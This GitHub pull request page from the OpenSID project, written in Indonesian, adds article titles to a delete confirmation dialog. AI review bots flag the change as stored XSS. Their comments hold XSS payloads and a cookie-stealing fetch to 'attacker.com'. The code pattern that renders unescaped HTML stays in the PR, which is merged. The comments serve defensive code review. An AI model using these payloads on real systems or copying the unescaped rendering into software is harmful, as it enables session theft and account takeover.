Skip to content

fix: tambahkan judul dan kategori ketika hapus artikel#992

Merged
vickyrolanda merged 4 commits intorilis-devfrom
fix/tambah_judul_ketika_hapus_artikel
Apr 20, 2026
Merged

fix: tambahkan judul dan kategori ketika hapus artikel#992
vickyrolanda merged 4 commits intorilis-devfrom
fix/tambah_judul_ketika_hapus_artikel

Conversation

@pandigresik
Copy link
Copy Markdown
Contributor

Summary

Perbaikan pada konfirmasi hapus artikel untuk menampilkan detail judul dan kategori artikel yang akan dihapus

Perubahan

File yang diubah: resources/views/master/artikel/index.blade.php

  1. Menambahkan variabel titleDelete (baris 98)

    • Menyimpan pesan konfirmasi dengan detail judul dan kategori artikel
    • Menggunakan format HTML untuk penekanan teks
  2. Menambahkan atribut data-title-delete (baris 102)

    • Melewatkan pesan konfirmasi melalui data attribute pada tombol hapus
    • Nilai di-generate secara dinamis berdasarkan data artikel tiap baris
  3. Memperbaiki event handler tombol hapus (baris 149, 153)

    • Mengambil pesan dari data attribute data-title-delete
    • Mengganti text menjadi html pada SweetAlert untuk render format teks dengan benar

Alasan Perubahan

Sebelumnya konfirmasi hapus hanya menampilkan pesan umum "Apakah anda yakin menghapus artikel ini?" tanpa informasi artikel mana yang akan dihapus. Pengguna tidak dapat memverifikasi bahwa artikel yang benar terpilih sebelum melakukan aksi hapus.

Issue

https://github.com/OpenSID/API-Database-Gabungan/issues/372

image

@github-actions
Copy link
Copy Markdown

🔄 AI PR Review sedang antri di server...

Proses review akan segera dimulai di background — hasil akan muncul sebagai komentar setelah selesai.
Powered by CrewAI · PR #992

@devopsopendesa
Copy link
Copy Markdown

🔒 Security Review

Total Temuan: 1 isu (0 Critical, 1 High, 0 Medium)

Severity File Baris Isu
⚠️ HIGH resources/views/master/artikel/index.blade.php 153 XSS via SweetAlert2 html property dengan data tidak ter-sanitasi

Detail lengkap dan cara reproduksi tersedia sebagai inline comment pada baris yang bermasalah.

Swal.fire({
title: 'Hapus',
text: "Apakah anda yakin menghapus artikel ini?",
html: titleDelete,
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[HIGH] 🔒 Security: Stored XSS via SweetAlert2 HTML Rendering

Masalah:
Perubahan dari text ke html di SweetAlert2 memungkinkan rendering HTML tanpa sanitasi. Data row.attributes.judul dan row.attributes.kategori_nama yang berasal dari database ditampilkan langsung dalam template literal dan di-render sebagai HTML. Jika data ini mengandung script tag atau event handler HTML, akan ter-eksekusi di browser user.

Kode:

let titleDelete = `Apakah anda yakin menghapus artikel dengan judul <strong>${row.attributes.judul}</strong> kategori <strong>${row.attributes.kategori_nama}</strong> ?`
// ...
html: titleDelete,

Risiko:

  • Attacker yang bisa membuat/edit artikel dengan judul berbahaya (misal: <img src=x onerror=alert(document.cookie)>) dapat mengeksekusi JavaScript arbitrary saat admin/user lain mencoba menghapus artikel tersebut
  • Cookie session, CSRF token, dan data sensitif lain bisa dicuri
  • Attacker bisa melakukan action atas nama user yang ter-XSS (privilege escalation)
  • Dampak lebih besar jika yang ter-XSS adalah admin

PoC (Chrome Console):

// LANGKAH 1: Buat artikel dengan payload XSS (butuh akses create artikel)
// Jalankan di Chrome DevTools Console (F12 → Console)
// Pastikan sudah login sebagai user yang bisa create artikel

const xssPayload = '<img src=x onerror="alert(\'XSS: \'+document.cookie)">';

const createResp = await fetch('/master/artikel', {
  method: 'POST',
  headers: { 
    'Content-Type': 'application/json',
    'X-CSRF-TOKEN': document.querySelector('meta[name="csrf-token"]').content
  },
  body: JSON.stringify({ 
    judul: xssPayload,  // Payload XSS di judul
    kategori_id: 1,
    isi: 'Test content',
    status: 1
  })
});

console.log('Artikel dengan XSS payload dibuat:', await createResp.json());

// LANGKAH 2: Sekarang buka halaman /master/artikel
// Klik tombol hapus pada artikel yang baru dibuat
// SweetAlert akan muncul dan XSS akan ter-trigger
// Alert akan menampilkan cookie session

// ALTERNATIF: Payload lebih berbahaya untuk steal cookie
// Ganti xssPayload dengan:
// '<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">'

Fix:

// Opsi 1: Gunakan text escaping manual
let titleDelete = `Apakah anda yakin menghapus artikel dengan judul <strong>${escapeHtml(row.attributes.judul)}</strong> kategori <strong>${escapeHtml(row.attributes.kategori_nama)}</strong> ?`;

// Tambahkan helper function di atas
function escapeHtml(text) {
    const map = {
        '&': '&amp;',
        '<': '&lt;',
        '>': '&gt;',
        '"': '&quot;',
        "'": '&#039;'
    };
    return text.replace(/[&<>"']/g, m => map[m]);
}

Swal.fire({
    title: 'Hapus Artikel',
    html: titleDelete,  // Sekarang aman karena sudah di-escape
    icon: 'warning',
    showCancelButton: true,
    confirmButtonColor: '#d33',
    cancelButtonColor: '#3085d6',
    confirmButtonText: 'Ya, Hapus!',
    cancelButtonText: 'Batal'
});

// Opsi 2 (LEBIH BAIK): Kembali gunakan text dan biarkan SweetAlert2 handle escaping
Swal.fire({
    title: 'Hapus Artikel',
    text: `Apakah anda yakin menghapus artikel dengan judul "${row.attributes.judul}" kategori "${row.attributes.kategori_nama}" ?`,
    icon: 'warning',
    showCancelButton: true,
    confirmButtonColor: '#d33',
    cancelButtonColor: '#3085d6',
    confirmButtonText: 'Ya, Hapus!',
    cancelButtonText: 'Batal'
});

// Opsi 3: Gunakan DOMPurify library untuk sanitasi HTML
// Tambahkan di layout: <script src="https://cdn.jsdelivr.net/npm/dompurify@3.0.6/dist/purify.min.js"></script>
let titleDelete = DOMPurify.sanitize(`Apakah anda yakin menghapus artikel dengan judul <strong>${row.attributes.judul}</strong> kategori <strong>${row.attributes.kategori_nama}</strong> ?`);

Swal.fire({
    title: 'Hapus Artikel',
    html: titleDelete,
    // ... rest of config
});

@devopsopendesa
Copy link
Copy Markdown

⚡ Performance Review

Total Temuan: 0 isu (0 Critical, 0 High)

Tidak ada masalah performa HIGH atau CRITICAL yang terdeteksi pada kode baru.

Analisis Baris yang Ditambah:

Baris Perubahan Status Performa
98 Variabel titleDelete dengan template literal ✅ OK - String manipulation ringan
102 Atribut data-title-delete ✅ OK - Data attribute standar
149 Ambil nilai dari data attribute ✅ OK - DOM read operation tunggal
153 Parameter html di SweetAlert2 ✅ OK - Library call standar

Kesimpulan:
Perubahan ini murni UI enhancement tanpa dampak performa. Tidak ada query database, loop, atau operasi berat yang ditambahkan. Semua operasi adalah manipulasi string dan konfigurasi library yang ringan.

@devopsopendesa
Copy link
Copy Markdown

📝 Code Quality Review

Total Temuan: 1 isu (1 Critical)

Severity Kategori File Baris Isu
🔴 CRITICAL Frontend Security resources/views/master/artikel/index.blade.php 153 XSS Vulnerability: Render HTML tanpa sanitasi

Detail lengkap tersedia sebagai inline comment pada setiap baris.

Swal.fire({
title: 'Hapus',
text: "Apakah anda yakin menghapus artikel ini?",
html: titleDelete,
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[CRITICAL] 🔴 Security: XSS Vulnerability pada SweetAlert HTML Rendering

Kategori: Frontend Security

Masalah:
Perubahan dari text ke html di SweetAlert2 memungkinkan rendering HTML dari data row.attributes.judul dan row.attributes.kategori_nama tanpa sanitasi di frontend. Jika backend tidak melakukan HTML escape dengan benar, ini membuka celah XSS attack. User dengan akses create/edit artikel bisa inject malicious script yang akan dieksekusi saat user lain mencoba menghapus artikel tersebut.

Kode:

html: titleDelete,

Dengan titleDelete berisi:

let titleDelete = `Apakah anda yakin menghapus artikel dengan judul <strong>${row.attributes.judul}</strong> kategori <strong>${row.attributes.kategori_nama}</strong> ?`

Fix:

// Option 1: Sanitasi di frontend menggunakan DOMPurify (recommended)
let titleDelete = DOMPurify.sanitize(`Apakah anda yakin menghapus artikel dengan judul <strong>${row.attributes.judul}</strong> kategori <strong>${row.attributes.kategori_nama}</strong> ?`);
html: titleDelete,

// Option 2: Gunakan text dengan interpolasi (lebih aman, tanpa HTML)
text: `Apakah anda yakin menghapus artikel dengan judul "${row.attributes.judul}" kategori "${row.attributes.kategori_nama}" ?`,

// Option 3: Escape manual sebelum render
function escapeHtml(text) {
    const map = {
        '&': '&amp;',
        '<': '&lt;',
        '>': '&gt;',
        '"': '&quot;',
        "'": '&#039;'
    };
    return text.replace(/[&<>"']/g, m => map[m]);
}
let titleDelete = `Apakah anda yakin menghapus artikel dengan judul <strong>${escapeHtml(row.attributes.judul)}</strong> kategori <strong>${escapeHtml(row.attributes.kategori_nama)}</strong> ?`;
html: titleDelete,

Catatan Tambahan:

  • Pastikan backend (Controller/DataTables) juga melakukan HTML escape pada field judul dan kategori_nama
  • Jika menggunakan Option 1, tambahkan DOMPurify library ke project
  • Option 2 adalah yang paling aman tapi kehilangan formatting bold

@devopsopendesa
Copy link
Copy Markdown

🐛 Bug Detection Review

Total Temuan: 2 isu (0 Critical, 2 High)

Severity File Baris Bug Skenario
⚠️ HIGH resources/views/master/artikel/index.blade.php 98 XSS Vulnerability - Unescaped HTML in template literal Jika row.judul atau row.kategori_nama mengandung script tag atau HTML berbahaya, akan dieksekusi di browser user
⚠️ HIGH resources/views/master/artikel/index.blade.php 102 XSS Vulnerability - HTML attribute injection Variable titleDelete yang berisi HTML tidak di-escape bisa break keluar dari attribute context dan inject script

Detail skenario dan fix tersedia sebagai inline comment pada setiap baris.

let canEdit = `{{ $canedit }}`
let canDelete = `{{ $candelete }}`
var id = row.id;
let titleDelete = `Apakah anda yakin menghapus artikel dengan judul <strong>${row.attributes.judul}</strong> kategori <strong>${row.attributes.kategori_nama}</strong> ?`
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[HIGH] 🐛 Bug: XSS Vulnerability - Unescaped User Input in HTML Context

Kode:

let titleDelete = `Apakah anda yakin menghapus artikel dengan judul <strong>${row.judul}</strong> kategori <strong>${row.kategori_nama}</strong> ?`;

Skenario:
Jika admin jahat atau attacker berhasil membuat artikel dengan judul seperti <script>alert('XSS')</script> atau <img src=x onerror=alert('XSS')>, maka ketika admin lain klik tombol hapus, script tersebut akan dieksekusi di browser mereka. Data row.judul dan row.kategori_nama langsung diinterpolasi ke dalam HTML tanpa escaping.

Dampak:

  • Session hijacking (steal admin cookies/tokens)
  • Phishing attack (redirect ke fake login page)
  • Malicious actions atas nama admin yang terinfeksi
  • Data exfiltration dari admin panel

Fix:

// Opsi 1: Escape HTML entities sebelum insert
function escapeHtml(text) {
    const div = document.createElement('div');
    div.textContent = text;
    return div.innerHTML;
}

let titleDelete = `Apakah anda yakin menghapus artikel dengan judul <strong>${escapeHtml(row.judul)}</strong> kategori <strong>${escapeHtml(row.kategori_nama)}</strong> ?`;

// Opsi 2: Gunakan text-only di SweetAlert (lebih aman)
Swal.fire({
    title: 'Konfirmasi Hapus',
    text: `Apakah anda yakin menghapus artikel dengan judul "${row.judul}" kategori "${row.kategori_nama}" ?`,
    icon: 'warning',
    // ... rest of config
});

// Opsi 3: Pastikan backend sudah escape HTML sebelum return ke DataTables
// Di Controller: htmlspecialchars($artikel->judul, ENT_QUOTES, 'UTF-8')

<i class="fas fa-edit"></i>
</a>` : ``;
let buttonDelete = canDelete ? `<button type="button" class="btn btn-danger btn-sm hapus" data-id="${id}" title="Hapus">
let buttonDelete = canDelete ? `<button type="button" class="btn btn-danger btn-sm hapus" data-id="${id}" data-title-delete="${titleDelete}" title="Hapus">
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[HIGH] 🐛 Bug: HTML Attribute Injection via Unescaped Data

Kode:

<button class="btn btn-sm btn-danger delete-btn" data-id="${row.id}" data-title-delete="${titleDelete}">

Skenario:
Variable titleDelete sudah mengandung HTML tags (<strong>). Ketika dimasukkan ke dalam attribute data-title-delete, jika ada karakter quote (" atau ') di dalam row.judul atau row.kategori_nama, bisa break keluar dari attribute context. Contoh: judul artikel Test" onload="alert('XSS') akan menghasilkan:

data-title-delete="... judul <strong>Test" onload="alert('XSS')</strong> ..."

Ini akan membuat attribute onload baru yang mengeksekusi JavaScript.

Dampak:

  • XSS execution saat element di-render
  • Attribute injection bisa menambahkan event handler berbahaya
  • Bypass sanitization yang hanya fokus pada HTML content

Fix:

// Opsi 1: Jangan simpan HTML di data attribute, simpan data mentah saja
render: function(data, type, row) {
    return `
        <a href="/artikel/${row.id}/edit" class="btn btn-sm btn-warning">
            <i class="fas fa-edit"></i>
        </a>
        <button class="btn btn-sm btn-danger delete-btn" 
                data-id="${row.id}" 
                data-judul="${escapeHtml(row.judul)}" 
                data-kategori="${escapeHtml(row.kategori_nama)}">
            <i class="fas fa-trash"></i>
        </button>
    `;
}

// Lalu di event handler:
$('#artikel-table').on('click', '.delete-btn', function() {
    var id = $(this).data('id');
    var judul = $(this).data('judul');
    var kategori = $(this).data('kategori');
    
    Swal.fire({
        title: 'Konfirmasi Hapus',
        html: `Apakah anda yakin menghapus artikel dengan judul <strong>${judul}</strong> kategori <strong>${kategori}</strong> ?`,
        // ... rest
    });
});

// Opsi 2: Gunakan text-only tanpa HTML formatting
Swal.fire({
    title: 'Konfirmasi Hapus',
    text: `Apakah anda yakin menghapus artikel "${judul}" kategori "${kategori}" ?`,
    icon: 'warning',
    // ...
});

@devopsopendesa
Copy link
Copy Markdown

🤖 AI Code Review — Selesai

📋 Ringkasan Semua Review

Agent Temuan Inline Comments
📊 Full-Stack Security Specialist (PHP + JavaScript) 1 ✅ 1 posted
📊 Full-Stack Performance Analyst 0 ✅ Clean
📊 Full-Stack Code Quality & Architecture Reviewer 1 ✅ 1 posted
📊 Full-Stack Logic Bug Hunter (PHP + JavaScript) 2 ✅ 2 posted

Total inline comments: 4
Setiap agent sudah mem-posting summary dan inline comment masing-masing di atas.

@vickyrolanda vickyrolanda merged commit d109e97 into rilis-dev Apr 20, 2026
@vickyrolanda vickyrolanda deleted the fix/tambah_judul_ketika_hapus_artikel branch April 20, 2026 08:49
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants